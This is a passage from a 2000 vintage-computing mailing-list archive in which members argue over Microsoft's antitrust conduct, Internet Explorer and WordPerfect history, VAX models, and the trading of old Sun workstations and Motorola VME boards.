replaced by 370s. > > This was on the data processing side of the company, the design > and research departments used different facilities. I believe Ford was a GE/Honeywell operation for some of the R&D. I thought they were a Multics shop as well. They had a lot of Vaxen in the mid 80's... A friend of mine was a DEC Field Engineer out there for a while while I had the Central NJ area as my base. > Dr. Mark Green mark@cs.ualberta.ca > Professor (780) 492-4584 > Director, Research Institute for Multimedia Systems (RIMS) > Department of Computing Science (780) 492-1071 (FAX) > University of Alberta, Edmonton, Alberta, T6G 2H1, Canada > > Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:15:44 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001301bfb84c$99c1bf60$0400c0a8@winbook> from Richard Erlacher at "May 7, 2000 11:48:12 am" Message-ID: <200005072315.TAA09354@bg-tc-ppp36.monmouth.com> > Almost on the mark, but see my remarks below. > > Dick > ----- Original Message ----- > From: Wayne M. Smith > To: > Sent: Sunday, May 07, 2000 12:12 AM > Subject: Re: I wrote 'Nuke Redmond' > > > All the talk about the browser market is a red herring. Internet Explorer > was never a product separate from Windows. Wrong.,. It was in the 95 PLUS pack an add on product I spent extra for. IE2 really sucked. It was basically a badly reworked Mosaic. The v3 product was pretty good... however. > It was a part of the OS utility package called PLUS! Yup. Which was SEPERATE from Win95 and not available for download until Netscape was taking off and Bill Gates had the internet epiphany.., > Internet Explorer always was a part of the Windows 9x package. Netscape, > OTOH, was a commercial product intended for sale, but initially offered > gratis to individual users. Nope, it was only 3.x of IE that was a download. > HOWEVER . . . they did have to purchase the > WINSOCK from a third party, i.e. Trumpet, in most cases. This was never the > case with Internet explorer. Nope Winsock and Networking was a direct part of Win95, WinNT etc. It was an addon to Win3.1. Most of us used Trumpet until the IE3 package added all the goodies. > Only after Internet Explorer became as popular > as it did under '95 did Microsoft release the "made for WIndows 3.1x" > version, also at no charge, but complete with its own WINSOCK and the 32-bit > runtime libraries it needed for operation under the 16-bit OS. Yup The Win9x version was about 6 months to a year ahead of the Win9x version. > > In the meantime, IBM had acquired LOTUS, primarily in order to take over the > Lotus Notes program. With the spread of Netscape, people found that > Netscape would replace Lotus Notes quite easily, hence IBM quickly acquired > them, only to distance themselves from it later, in order to APPEAR to be an > outsider to the conflict which I'm quite certain they actually scripted, and > which is now being played out in the courts. Well, they rather quickly realised Notes Servers needed web accessibility so Domino became a hot upgrade to Notes Server and Client. > > Unfortunately, there does appear to be evidence that MS overreached its > rightful position in the industry, giving their applications developers an > advantage by giving them information they didn't publish as part of the > standard API. That was an anticompetitive act, and should be reversed in > some way. Yup. > > Many people think that lobotomizing MS would help the industry. I am not > among them, however, because, at least for now, MS is the only organization > capable of mustering the talent and resources to generate application > software that pretty much functions as it should within the framework of > this extremely complex OS. > Believe me, I think the appllications could be done by hundreds of companies -- if the MS apps folks were divorced of early access to the API's the lead MS got over everyone else would dissapear. > Even if someone else could do it, which I seriously doubt, it's unlikely > anyone can come up with an OS capable of competing against Windows, if the > same tests are to be applied that have been used to determine MS' practices > monopolistic or anticompetitive. If the complete source code for Windows is > to be mandated by the courts to be made available to anyone who wishes to > write applications for Windows, MS is correct in demanding that the code be > released only to companies who, including all their employees as > individuals, be barred for a period of, say, ten years, from participating > in the production of any operating system which might be used as a > competitor to Microsoft's OS products, including the drivers, utilities, or > ancillary programs, e.g. a browser. > Actually, if there was a GUI like the IBM Workplace Shell from OS/2 available on FreeBSD, Linux, Solaris, etc there could be some competitive apps. Right now I'm watching Koffice and the KDE stuff and really enjoying WordPerfect Office 2000 on Linux. > If they're to "fix" this thing in a permanent way, then they will have to > legislate a solution which would require that no person involved in the > development of any major software product be permitted to communicate with > anyone else, not his/her spouse, offspring, superiors or subordinates, > except in permanently recorded written form for a period not less than five > years beyond the end of the economic life of that product. I doubt that > will happen. > Nope. Make the OS vendor, the Tooks vendor and the Desktop apps vendor diferent companies and let the fun begin. I bet there would be an MS Office for Unix in about 6 months. I also think they would see Borland tools back in the windows area if they had the same API info as the Visual-whatever folks. IBM's stuff might even expand their toolsets even further. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:21:52 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: from Mike Ford at "May 7, 2000 03:43:19 am" Message-ID: <200005072321.TAA09390@bg-tc-ppp36.monmouth.com> > The working points to tick off are; > > MS used the profits from OS sales to subsidize the operations of groups > competing against the applications of other companies, giving away products > if nescessary to force the other company out of business. Yup... > > MS used OS incompatibilities to kill off competing applications. Yup and changed the API for Win32 to break OS/2 compatibility for the "portable Win32 API" Win32s that worked with Windows for Workgroups and OS/2. > > MS used applications incompatibilies to kill off competing OSes. Yup... notice the Office 95 suite's broken save to rtf and save to Word6 functions that pushed places to Office97. > > MS used OS license agreements to kill off competing applications through > preinstalled software exclusive agreements, and flat rate pricing > structures (you pay a license fee on every system you sell whether it has > MS OS on it or not). Very true. This was a big push to IBM to eliminate OS/2 support and new versions or lose the rights to Win95. > > MS used ad boycotts to kill any magazine with negative reviews. Very true. > > MS used coertion and retaliation to make other companies toe the same line. > This is especially true now where nobody is willing to say word one in this > trial for fear of what MS would do. Sure seemed that Compaq and DEC were intimidated. Ask the internal DEC folks about MS getting a lot of DEC cluster code and NT work in exchange for MS paying for Robert Palmer's getting DEC Field Service and Software Services personnel MS trained on MS $$$. (and they pushed customers off ALL-IN-ONE to Exchange (and off Vax Mail internally as part of the deal)... > > Yes this has been a real help to consumers. Its classic vertical monopoly > behavior any turn of the century muckraker would recognize, and that it is > successfull should come as a surprize to no one. > And it's one of the most underreported stories -- since MS began buying up the ad space to tell "IT's Story" as crafted by Gates, Balmer, and Wagner Eddstrom. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:23:44 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070757.DAA29788@armigeron.com> from "Sean 'Captain Napalm' Conner" at "May 7, 2000 03:57:24 am" Message-ID: <200005072323.TAA09411@bg-tc-ppp36.monmouth.com> > It was thus said that the Great Richard Erlacher once stated: > > > > > This is the sickest aspect of the whole computer industry, ALL of the > > > companies that made fairly good reliable products went under from the > > flood > > > of dollars the BAD heavily marketed software generated via updates. > > > > > Well, I wish a few more of them would go. I can't imagine what companies, > > now defunct, produced this set of "fairly good reliable products " have gone > > down the toilet because they were outspent or outmarketed by MS. An example > > or two would be nice. > > Borland? Oh that's right, you don't do software development. Umm ... > > -spc (Hey, at least that's one ... ) Boy do I miss Turbo Pascal and Turbo C and the great support and free patches and upgrades on Compuserve. (Pre-www...) No fixed in next release... If it was broken they replaced the library that they had... pretty quick. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From eric at brouhaha.com Sun May 7 18:22:31 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <001f01bfb7f1$18e00880$a5e3dfd0@cobweb.net> (whdawson@mlynk.com) References: <001f01bfb7f1$18e00880$a5e3dfd0@cobweb.net> Message-ID: <20000507232231.30109.qmail@brouhaha.com> "Bill Dawson" wrote: > If you look at the legal aspects of the Apple vs. Franklin lawsuit, back in > the Apple II days, you can see that had Franklin properly argued, they would > have won. It *was* impossible to separate the software from the firmware at > the time Franklin copied Apple's ROMs. Even though Apple had the approved > set of firmware entry points for third party software development, they > looked the other way as all parties used every and any useable subroutine > they could find in the firmware. Franklin had no choice to do anything > *but* exactly duplicate the Apple firmware to ensure software written for > the Apple II would run on their machine. I don't see why you think that they would have won. Copyright law does not have an exception that makes it OK to duplicate copyrighted works without the author's permission if it's necessary to do so in order to be compatible. The entire *purpose* of copyright law as set forth in the US Constitution is to grant authors for a limited time the *exclusive* rights to their writings. [There is such an exemption in the DMCA for reverse-engineering, but that doesn't extend to distributing verbatim copies.] Eric From eric at brouhaha.com Sun May 7 18:26:54 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:38 2005 Subject: VCF Munich! In-Reply-To: <200005071803.LAA04452@siconic.com> (dastar@siconic.com) References: <200005071803.LAA04452@siconic.com> Message-ID: <20000507232654.30150.qmail@brouhaha.com> "Sellam Ismail" wrote: > There were some great exhibits, including a complete VAX 11/850 setup > and running, Sorry to nitpick, but is that a typo? What kind of VAX was it? I could easily imagine that you might have meant any of VAX-11/750 VAX-11/780 VAX 8600 VAX 8650 Or perhaps something else. From pechter at pechter.dyndns.org Sun May 7 18:35:05 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <200005070753.DAA29771@armigeron.com> from "Sean 'Captain Napalm' Conner" at "May 7, 2000 03:53:02 am" Message-ID: <200005072335.TAA09444@bg-tc-ppp36.monmouth.com> > It was thus said that the Great Richard Erlacher once stated: > > > > Nevertheless, I'd say the the UNIX and others of that > > ilk were designed for use by and for nerds, from the standpoint that > > producing software is useful work. That's only true if you're a software > > vendor. If you're in the business of selling tires, or of making them, > > generating software is overhead that you'd like to avoid. Well, the Minicomputer OS's were designed that no user could damage the system through the use of utilities and customer applications and such. The system wouldn't allow a user to accidentally delete a database, data file, command or anything else that they were dependent upon. They could enter data, generate reports, print programs, but not damage the apps (if written and installed correctly). Unix, VAX/VMS, RSTS/E, RSX/11M were examples of this -- but they're not always used as development platforms... sometimes they were application platforms. > > Maybe Windows isn't for you. I use it because it's hard not to. I have > > half a dozen LINUX versions none of which has been left installed for more > > than a day or two, and they wouldn't meet my needs. Likewise, I've not > > gotten a comfortable feeling with SCO, UnixWare, etc. for the '386 and up > > types. I haven't got a choice, nor do my coworkers at Lucent. Office97 is the default set of apps... even for programmers... for docs, spreadsheets, presentations... We use FrameMaker at times, but most people don't have licenses for that. I haven't got a choice, nor do my coworkers at Lucent. Office97 is the default set of apps... even for programmers... for docs, spreadsheets, presentations... We use FrameMaker at times, but most people don't have licenses for that. Microsoft has site licensed the Office suite for all of Lucent at a price... therefore we must run Windows 9x/NT/2000 (and the later isn't site licensed yet). We've got Sparcs and Linux boxes for project work and development and my web server and backup server are FreeBSD boxes with Samba and Apache -- but we've got everything dual booting to suport the 40mb attachments from Powerpoint. Ugh. (this could be done better with a corporate supported web/ftp server with individual and departmental directories with an htpassword file controlling access and some cgi or something allowing the management types to upload and download these files in a controlled manner without the proliferation of exchange servers and overloading Unix mail servers with HUGE attachments and Word docs in mail clothing. Email should be short and in ASCII and readable with any type of terminal access and text to speech programs for the handicapped. Unfortunately, Microsoft can barely get large font support up in Windows... IBM did a lot with Screen Reader with Windows and OS/2... I haven't seen anything from Microsoft like that. > > Different users, different needs. Personally I've been able to use Linux > to save what otherwise would have been thrown-away PCs (one is even running > my personal website). Me too... this is from a FreeBSD box logged in from an OpenBSD throwaway Sparc ELC. > > -spc (One running on a diskless machine) > > > Bill this ELC isn't diskless -- but will be a diskless Xterminal to the FreeBSD box when I get the blasted software configured right. -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:38:51 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: sun.motherload In-Reply-To: <20000507002924.Q18263@electron.quantum.int> from "Shawn T. Rutledge" at "May 7, 2000 00:29:24 am" Message-ID: <200005072338.TAA09463@bg-tc-ppp36.monmouth.com> > On Sat, May 06, 2000 at 12:45:08PM -0500, Scott F. Hall wrote: > > Anyone interested in giving an immediate home to a bunch of Sun > > workstations? A college here in western NY state is ready to give a 470 > > server and about 20 to 25 assorted IPCs, IPXs, and pizza boxes to anyone > > I might be interested in a machine or two but not the whole bunch. > Especially if there's some higher end pizza boxes hiding in there... > > -- > _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com > (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org > __) | | \________________________________________________________________ > Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 > > I'd love a Sparc Classic or other 4m class box... I've got Solaris 8 to play with but that won't run on a 4c (damn). I've got an IPX, RARE Opus Sparcstation2 clone I'm looking to sell/Ebay. (these run OpenBSD, NetBSD, Linux and Solaris through v7...) Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:42:19 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: sun.motherload In-Reply-To: from Mike Ford at "May 6, 2000 10:58:23 pm" Message-ID: <200005072342.TAA09490@bg-tc-ppp36.monmouth.com> > >> > $80 each sounds like quite a bit for these machines... > >> > > > >Put them out in the hallway. If the students dont get the clue, then > >put a sign up saying 'free - but must take off-campus'. > > Two different extremes, a typical price is more like $25 to $35 depending > on condition and contents, at least here in SoCal. I'd consider them worth up to $50 with working 420-1gb drive and 64mb of memory and CG6. They're worth less with CG3 and with the 16mb of memory and no disk that the resellers usually have in 'em. I'd like $70 for an IPX with 64mb of memory, keyboard, mouse, mousepad. and 420 drive with BSD or Linux on it... Any bootable working machine that has the os on it and is loaded and working is worth more than any collection of parts in unknown unguaranteed shape. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 7 18:45:42 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <004901bfb7e7$35f15500$0400c0a8@winbook> from Richard Erlacher at "May 6, 2000 11:43:41 pm" Message-ID: <200005072345.TAA09502@bg-tc-ppp36.monmouth.com> > I can't leave this one alone either. > > Dick > > ----- Original Message ----- > From: allisonp > To: > Sent: Saturday, May 06, 2000 9:27 PM > Subject: Re: I wrote 'Nuke Redmond' > > > > >That is backwards. The law, and common sense, requires > > >that you already have to have significant market share > > >to have monopoly power. Monopoly power is the ability > > >to control prices and exclude competition by virtue of > > >monopoly power. To me, the question is, how did MS > > >achieve that power in the first place. There is no > > >doubt that once they had the power they abused it -- > > > I've seen/heard of little evidence of that. Though there have been lots of > references to such actions. They've been ruthless, yes, but not criminal, > though some judge lacking in the grey matter to see the obvious, has been > horswoggled into believing what a bunch of MS-haters tell him. > > > > It started with the licensing of DOS at the vendor level to the > > extent that if the hardware could run dos it had to be licensed. > > Some of us may remember the early machines the the > > "jumper" to disable dos. { the is } was to inhibit the CP/M > ^^^^^^^^ > > follow ons, Netware and the unix varients. > > > I'm not sure I know what you mean here. I had a '186-based machine that > ran DOS and CP/M-86. I didn't like either well enough to give up CP/M-80, > BTW. > > > > This first lockin of the vendors was exploited for the windows > > software that followed. It would also get the DOJ to issue > > an aggreement back some years for MS to stop this > > monopolistic activity. > > > Are you sure you'renot taking this one step too far, Allison? > > > > Thats how the got the power. The money came from the > > applications and MS was known for them and never cheap. > > > No, they weren't cheap, but they were among the cheapest of the bunch. > Other vendors' office automation software typically cost more than > Microsoft's. I wasn't unhappy to see Lotus' offering and WordPerfect's go, > though I liked the WP v5.1 for DOS and the surrounding office software > suite. They never got going under Windows, (v3.0, 1990) however. > > > > Allison > > > > > Actually, you can purchase Office2000 and WordPerfect 2000 and Lotus Smartsuite Millenium -- the latter two under $120... Office is considerably more retail -- unless you corporate license under discount. Actually grey market versions of the later are under $25 each. I know, I bought both to compare them with the Office used at work and forced on me. I liked them (used SmartSuite96 at IBM for a while) and WordPerfect is now purchased and running on my wife's Linux box. I'm actually a WordStar 6 kind of guy, if I'm not using FrameMaker though. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From donm at cts.com Sun May 7 18:48:27 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:38 2005 Subject: Swapmeet find In-Reply-To: <3914B667.AAC65CB6@mcmanis.com> Message-ID: On Sat, 6 May 2000, Chuck McManis wrote: > That is quite a find Don! The tapes are interchangable if you bulk erase > them first. I've got a bunch of TK50 marked tapes but very few TK70 > marked tapes. Willing to trade! And no you can't just drop in the TK70, > at least in the Q-bus Vaxen they take different controllers and the > cable was a bit different. I can't be much direct help there, Chuck, as I think I have only one COMPACTape II here. However, there is a surplus house that has had a number of the II tapes for sale at $2 each. I need to visit them soon to check on something else, so I'll see if they are still available. Since I can't use it, I guess that I am open for offers on the TK70... - don > > At the local swap this morning I picked up a virgin TK70 streaming tape > > drive. When I say virgin, I mean it is in the shipping carton, is still > > sealed in an anti-static bag, includes the manual, and also that sheet > > of 'stickies' to make the meaning of various lights and such meaningful > > to those who do not understand English. ________O/_______ O\ From at258 at osfn.org Sun May 7 18:55:31 2000 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 18:52:38 2005 Subject: computer? In-Reply-To: <3915EA7A.B324823@mindspring.com> Message-ID: A friend and I were discussing computer utilisation during the 50's and 60's, and since someone has already enquired about Ford, I wonder if anyone here might have knowledge of what computer(s) the New Haven Railroad used, ca 1950-1968. From pechter at pechter.dyndns.org Sun May 7 19:04:21 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: Unix vs. VAX/VMS and Windows vs. Unix/Linux/BSD -- seems like we've seen this before In-Reply-To: <011b01bfb7d1$ad5f1200$7464c0d0@ajp166> from allisonp at "May 6, 2000 09:16:09 pm" Message-ID: <200005080004.UAA09638@bg-tc-ppp36.monmouth.com> >>win9x, Unices, Vaxens, Linux is more of nerd's dormain and clueful >>users who know better to call for help first if some kind of problems >>becomes out of their depth understanding how to deal with it. > This left me mystified. VAX/vms running DECwindows is a good > interface without give away the farm for the user. It's user proof. > The system admin part is definately not for he average user but > then neither is linux, unix or NT. > Its possible to build a OS that has the needed protections that > seem to be missing from Win9x. > > Allison But until the Vax is available at Intel prices and reliablity (the old VS3100's and uVaxII's are getting a bit long in the tooth for joe consumer -- and the disks are now creaky)... What I wanted is a cheap Alpha box at AMD prices. With Open/VMS with a 5 or 10 user limit. Decwindows or CDE on it should be fine. Hell, KDE is free... Add a working posix layer based on the commands in FreeBSD. This would the perfect workstation for me. I wish Compaq would hire me to have them designed and built. I close with a Quote from the former President: "One of the questions that comes up all the time is: How enthusiastic is our support for UNIX? Unix was written on our machines and for our machines many years ago. Today, much of UNIX being done is done on our machines. Ten percent of our VAXs are going for UNIX use. UNIX is a simple language, easy to understand, easy to get started with. It's great for students, great for somewhat casual users, and it's great for interchanging programs between different machines. And so, because of its popularity in these markets, we support it. We have good UNIX on VAX and good UNIX on PDP-11s. It is our belief, however, that serious professional users will run out of things they can do with UNIX. They'll want a real system and will end up doing VMS when they get to be serious about programming. With UNIX, if you're looking for something, you can easily and quickly check that small manual and find out that it's not there. With VMS, no matter what you look for -- it's literally a five-foot shelf of documentation -- if you look long enough it's there. That's the difference -- the beauty of UNIX is it's simple; and the beauty of VMS is that it's all there." -- Ken Olsen, president of DEC, DECWORLD Vol. 8 No. 5, 1984 Switch Unix for Windows98... and you kind of have today. (Where's K.O. now that we need him... Perhaps Advanced Modular Systems could've done this when they were doing MicroVax, RS6000 and Intel triprocessor architecture server boxes). Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From cmcmanis at mcmanis.com Sun May 7 19:16:03 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: <200005072345.TAA09502@bg-tc-ppp36.monmouth.com> Message-ID: <39160743.B34AD135@mcmanis.com> Has anyone mentioned WordPerfect. You know the Word processor that had over 90% of the market until Microsoft changed their OS licensing terms such that their OEMs had to bundle either Office (or later Works) with every copy of Windows they sold. --Chuck From pechter at pechter.dyndns.org Sun May 7 19:08:10 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:38 2005 Subject: VCF Munich! In-Reply-To: <20000507232654.30150.qmail@brouhaha.com> from Eric Smith at "May 7, 2000 11:26:54 pm" Message-ID: <200005080008.UAA09686@bg-tc-ppp36.monmouth.com> > "Sellam Ismail" wrote: > > There were some great exhibits, including a complete VAX 11/850 setup > > and running, > > Sorry to nitpick, but is that a typo? What kind of VAX was it? I > could easily imagine that you might have meant any of > > VAX-11/750 > VAX-11/780 > VAX 8600 > VAX 8650 > > Or perhaps something else. I assume 11/750. I figure 8650 is too much on the power. It also could've been the 8500 (I believe there was 8200/8300/8500) -- although the last one I worked on was the 11/790, er 8600/8650. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From gregorym at cadvision.com Sun May 7 19:17:44 2000 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <00f201bfb882$d5c6d460$04a0fea9@hal-9000-2> -----Original Message----- From: Chuck McManis To: classiccmp@classiccmp.org Date: Sunday, May 07, 2000 6:12 PM Subject: Re: I wrote 'Nuke Redmond' >Has anyone mentioned WordPerfect. You know the Word processor that had >over 90% of the market until Microsoft changed their OS licensing terms >such that their OEMs had to bundle either Office (or later Works) with >every copy of Windows they sold. > >--Chuck Sorry, but WordPerfect contributed a lot to their own demise. First, they abandoned many of the non-Windows platforms that made them attractive in the first place (e.g. DOS, Amiga, NeXT). The ability to exchange documents between different platforms was a huge win for WordPerfect, and they threw it away. Second, when they belatedly jumped on the Windows bandwagon, they produced a buggy, unstable, all but unusable version - WP for Windows 6.0. The time it took them to fix all of the problems with WP 6.0 enabled MS-Word to catch up on features, when WP had been demonstrably better up until then. The corporate merry-go-round that saw WordPerfect go from an independant company, to Novell, to Corel probably didn't help either. Mark. From ckaiser at oa.ptloma.edu Sun May 7 19:38:39 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:52:38 2005 Subject: The Shell Game Message-ID: <200005080038.RAA17910@oa.ptloma.edu> Well, marginally related to classic computing, I put my in-progress directory of dialup shell providers on the Net at http://www.armory.com/~spectre/shell/ I'm still acquiring providers. Let me know who you use, if any. I'm hoping to use this as a resource for people with other computers who still want to use them for at least terminal access. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- Hidden DOS secret: add BUGS=3DOFF to your CONFIG.SYS. ---------------------- From jim at calico.litterbox.com Sun May 7 19:46:29 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <00f201bfb882$d5c6d460$04a0fea9@hal-9000-2> from "Mark Gregory" at May 07, 2000 06:17:44 PM Message-ID: <200005080046.SAA31983@calico.litterbox.com> Modern WordPerfect is actually quite nice, and to my knowledge it's the only big name word processor that runs on Linux. I'd wish for a BeOS port, but Gobe Productive 2.0 is as good or better and BeOS native. WP also has more problems translating Word documents than Gobe does. Now that printing works reasonably I'm unlikely to reload WP on my windows side because I do my word processing in my primary desktop OS - BeOS. If BeOS supported my scanner I could finally rip windows off this system completely and throw it out. On that note, to any of the folks working on the SANE port and ScannerBE, first I'd like to offer to beta test with my umax astra 610s. Second, I'd love to see ANY scanner support, but I think it'd be prudent for either project to leverage the existing SANE drivers. Why reinvent the wheel? Third, I'd also like to see some kind of pseudo-translator so ANY graphic software can import directly from the scanner without having to be re-written to use some other API. > > Sorry, but WordPerfect contributed a lot to their own demise. First, they > abandoned many of the non-Windows platforms that made them attractive in the > first place (e.g. DOS, Amiga, NeXT). The ability to exchange documents > between different platforms was a huge win for WordPerfect, and they threw > it away. Second, when they belatedly jumped on the Windows bandwagon, they > produced a buggy, unstable, all but unusable version - WP for Windows 6.0. > The time it took them to fix all of the problems with WP 6.0 enabled MS-Word > to catch up on features, when WP had been demonstrably better up until then. > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jim at calico.litterbox.com Sun May 7 19:55:32 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: from "Mike Ford" at May 07, 2000 02:48:46 AM Message-ID: <200005080055.SAA32090@calico.litterbox.com> Ok, I'm a dolt. I get 4 mailing lists, 3 are about BeOS and this one. If my comments about Gobe Productive, etc, don't make any sense, it's because they're BeOS specific - it's been a busy day and I mixed up what group I was writing to. Sorry. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From cfandt at netsync.net Sun May 7 20:19:26 2000 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:52:38 2005 Subject: MVME Docs/Data Needed In-Reply-To: <3915736B.9765.183FCBBA@localhost> Message-ID: <4.1.20000507194802.00923890@206.231.8.2> Upon the date 01:45 PM 5/7/00 -0700, Bruce Lane said something like: >Hi, folks, > > Got some good ones here. Recent acquisition activity has >netted me a nice Motorola MVME945B chassis stuffed full of >cards. Any docs or data I can get on said chassis would be most >welcome. Jumper diagrams are what I need the most. Good catch! This is a really nice crate. Has a 400W switching PSU. Any mass storage in it? Jumpers are the bus grant string. I have a 945 manual buried (and I mean buried!) somewhere up in the library. Hopefully, another listmember can dig his/hers out sooner but if you don't get any info in a week or so, tell me and I'll find a day in which to hunt my 945 manual up. > > In addition, I have some boards here that I don't recognize, >including: > > MVME372A (three of 'em). Here's some info from my Moto sales literature collection: This is called an Advanced MAP Controller. (Oh, what was that MAP acronym . . . Manufacturing Protocol . . . ??) MAP was a concept used to network computers in a factory, to interlink them within a particular machining cell and to link them with the company production control department, etc. The MAP computers in a manufacturing cell would typically be machine controllers or data collection/crunching boxes. Other uses too IIRC. This 372A is the front-end processor which consists of a 68020 CPU, 68824 token bus controller, 640 k RAM (not much needed here as resources I think were distributed over the network). MAP uses some sort of MODEM which had a very high bitrate (1 MHZ? 10 MHz? Can't recall now) Coaxial cable was the medium over which communications were carried. If you had Moto's UNIX System V/68 R2 running on this box (which I suspect had been) plus other boxen with MAP components, then you could play with it a bit I suppose. I don't recall too much about this protocol nowadays as it was too high falutin for my relatively small company and I didn't investigate in any depth whatsoever. Not sure if it fizzled or was absorbed into any other industrial communication protocol. I just didn't have time back in the mid-80's to study MAP. I think MAP came into use around 1981/82. What is the main CPU module in this crate? A '147 of some flavor? What're the remaining modules? > MVME333-2 (one) This is an Intelligent Serial Interface. Has six RS232/RS422 serial ports, 9600 baud max, and uses a 68010 processor and 512 k RAM. Four channel DMA on two of the ports, can xfer up to 1 Mbit per sec on on channel. This can be an application specific module in that it has firmware options for 3270 SNA & BSC, 3770 RJE SNA, etc. I think my Moto CODEC modules I got at Dayton a year ago are actually 333-2 modules. BTW, anybody got any Moto CODEC tech info and literature from those days? > > I seem to recall, from my field service days at Motorola, that >the big 'M' published a field engineer's guide that showed specs >and jumper assignments for the entire MVME line. Perhaps I can >snare one of these? I'd like to snare one too!! Regards, Chris -- -- Christian Fandt, Electronic/Electrical Historian Jamestown, NY USA cfandt@netsync.net Member of Antique Wireless Association URL: http://www.antiquewireless.org/ From edick at idcomm.com Sun May 7 20:42:38 2000 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:38 2005 Subject: I wrote 'Nuke Redmond' References: <200005072315.TAA09354@bg-tc-ppp36.monmouth.com> Message-ID: <000d01bfb88e$b3d7e2c0$0400c0a8@winbook> please see my remarks embedded below. Dick ----- Original Message ----- From: Bill Pechter To: Sent: Sunday, May 07, 2000 5:15 PM Subject: Re: I wrote 'Nuke Redmond' > > Almost on the mark, but see my remarks below. > > > > Dick > > ----- Original Message ----- > > From: Wayne M. Smith > > To: > > Sent: Sunday, May 07, 2000 12:12 AM > > Subject: Re: I wrote 'Nuke Redmond' > > > > > > All the talk about the browser market is a red herring. Internet Explorer > > was never a product separate from Windows. > > Wrong.,. It was in the 95 PLUS pack an add on product I spent extra > for. IE2 really sucked. It was basically a badly reworked Mosaic. > The v3 product was pretty good... however. > The Netscape version of the time openly credited its origins to MOSAIC, which, by the way worked OK, too, but, like Netscape, required a WINSOCK be provided. > > > It was a part of the OS utility package called PLUS! > > Yup. Which was SEPERATE from Win95 and not available for download until > Netscape was taking off and Bill Gates had the internet epiphany.., > Now, isn't that what I previously wrote, that it was on the PLUS! disk? None of the applications and utilities on the PLUS disk worked anywhere other than under '95, so I doubt you'd classify them as separate applications. The wouldn't even run under the '95 beta versions I had. The utilities on the PLUS! disk weren't ready for publication until the OS was released, while the OS had probably been put off three months waiting for the utilities. Aside from IE, the System Agent was and is probably the most important feature. Drivespace3 is another feature that wasn't ready until the last minute. Both of the latter two are pretty handy. I'd had Netscape almost a year before the official release of Win95. Of course, I'd also had IE, but that didn't work particularly well, since there wasn't much interest in it at the time. The Netscape was for Win3.1 with the Win32S extensions. Of course, back then, only a few of the available ISP's supported PPP and SLIP, while most allowed shell access only. If you wanted to surf the few sites on the web, you could do 